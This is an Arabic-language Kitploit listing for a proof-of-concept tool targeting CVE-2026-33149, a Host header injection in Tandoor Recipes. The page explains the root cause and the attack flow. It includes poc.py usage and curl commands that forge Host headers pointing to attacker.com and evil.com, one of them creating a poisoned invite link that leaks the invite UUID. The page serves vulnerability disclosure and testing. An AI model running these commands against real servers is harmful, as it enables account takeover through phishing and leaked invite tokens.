Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33149-PoC — إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات. | Kitploit
أدوات/GitHubGitHub/filipegaudard/cve-2026-33149-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتصيد الاحتياليأمن الويباختبار الاختراق
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات.

عرض المستودع
28منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33149 — حقن ترويسة المضيف في Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


الملخص

يضبط Tandoor Recipes قيمة ALLOWED_HOSTS = '*' افتراضيًا في settings.py، مما يجعل Django يقبل أي قيمة في ترويسة Host الخاصة بـ HTTP دون تحقق. يستخدم التطبيق request.build_absolute_uri() لتوليد عناوين URL مطلقة في سياقات متعددة حساسة أمنيًا. يمكن للمهاجم الذي يستطيع إرسال طلبات بترويسة Host مزيّفة إعادة توجيه جميع عناوين URL المولّدة من الخادم إلى نطاق يتحكم به المهاجم.

التأثير الأكثر خطورة هو تسميم روابط الدعوات: عندما ينشئ المسؤول دعوة مستخدم، يحتوي البريد الإلكتروني المرسل من الخادم على رابط يشير إلى نطاق المهاجم. ينقر الضحية على بريد إلكتروني يبدو شرعيًا، ويتم تسريب رمز الدعوة، ويستخدمه المهاجم لاختطاف عملية توفير الحساب.

تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — تحييد غير صحيح لترويسات HTTP لصياغة البرمجة النصية
CVSS v3.18.1 عالية — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
الإصدار المتأثرTandoor Recipes ≤ 2.5.3
البائعTandoorRecipes/recipes

تعيين MITRE ATT&CK

معرف التقنيةالاسمالصلة
T1557خصم في المنتصفالتلاعب بعناوين URL المولّدة من الخادم لإعادة توجيه حركة المرور
T1566.002التصيد: رابط التصيد الموجهبريد الدعوة المسموم يحتوي على رابط يتحكم به المهاجم

تحليل السبب الجذري

1. ALLOWED_HOSTS ببدل شامل

الملف: recipes/settings.py:118

ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

يُعد ALLOWED_HOSTS في Django إجراءً أمنيًا يتحقق من ترويسة Host مقابل قائمة بيضاء. يؤدي البدل الشامل '*' إلى تعطيل هذا التحقق تمامًا، مما يسمح بأي قيمة عشوائية.

2. توليد عناوين URL غير آمن في رسائل الدعوة

الملف: cookbook/serializer.py:1852-1853

message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

يبني request.build_absolute_uri() عناوين URL باستخدام request.get_host()، الذي يعيد قيمة ترويسة Host الخام عندما لا يقيدها ALLOWED_HOSTS. يتم تضمين معرّف الدعوة UUID — وهو رمز سري — في عنوان URL الذي يشير الآن إلى المهاجم.

3. أسطح إضافية متأثرة

  • ترقيم صفحات API — تستخدم فئات ترقيم الصفحات في DRF build_absolute_uri() لعناوين URL الخاصة بـ next/previous
  • مخطط OpenAPI — يستخدم مولّد المخطط هذه الدالة لعناوين URL الخاصة بالخادم
  • تسميم ذاكرة التخزين المؤقت — النشرات التي تستخدم وكلاء تخزين مؤقت معرضة لخطر تقديم عناوين URL مسمومة لجميع المستخدمين من طلب واحد

سير الهجوم

┌──────────┐     ① طلب مزيّف         ┌─────────────────┐
│ المهاجم  │ ──────────────────────────────→│  خادم Tandoor │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             تستخدم "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  خادم SMTP    │
                                            └────────┬───────┘
                                                     │
                                       ③ بريد إلكتروني برابط مسموم:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    الضحية      │
                                            │  (ينقر على الرابط) │
                                            └────────┬───────┘
                                                     │
                                          ④ إرسال UUID إلى المهاجم
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   المهاجم      │
                                            │ يستخدم UUID في │
                                            │ الخادم الحقيقي │
                                            └────────────────┘

إثبات المفهوم

المتطلبات

  • Python 3.8+
  • مكتبة requests
pip install requests

الاستخدام

# تشغيل جميع وحدات التحقق مع المصادقة الأساسية
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# تشغيل جميع الوحدات مع ملفات تعريف الارتباط للجلسة
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# تسميم رابط الدعوة فقط
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

الوحدات

الوحدةالوصف
host-acceptيتحقق من أن الهدف يقبل ترويسات Host عشوائية (ALLOWED_HOSTS = '*')
paginationيؤكد أن عناوين URL الخاصة بترقيم صفحات API تعكس النطاق المحقون
schemaيؤكد أن عناوين URL الخاصة بخادم مخطط OpenAPI تعكس النطاق المحقون
inviteينشئ رابط دعوة مسمومًا — ناقل الهجوم الأساسي
allيشغل جميع الوحدات بالتسلسل

التحقق اليدوي (curl)

1. قبول ترويسة المضيف

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# المتوقع: 200 (ثغرة) | 400 (تم التصحيح)

2. انعكاس عنوان URL الخاص بترقيم الصفحات

curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# المتوقع: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. انعكاس عنوان URL الخاص بالمخطط

curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# المتوقع: http://evil.com/...

4. تسميم رابط الدعوة

curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# يتلقى الضحية بريدًا إلكترونيًا: "Click: http://attacker.com/invite/<uuid>"

التأثير

تنزيل الأداة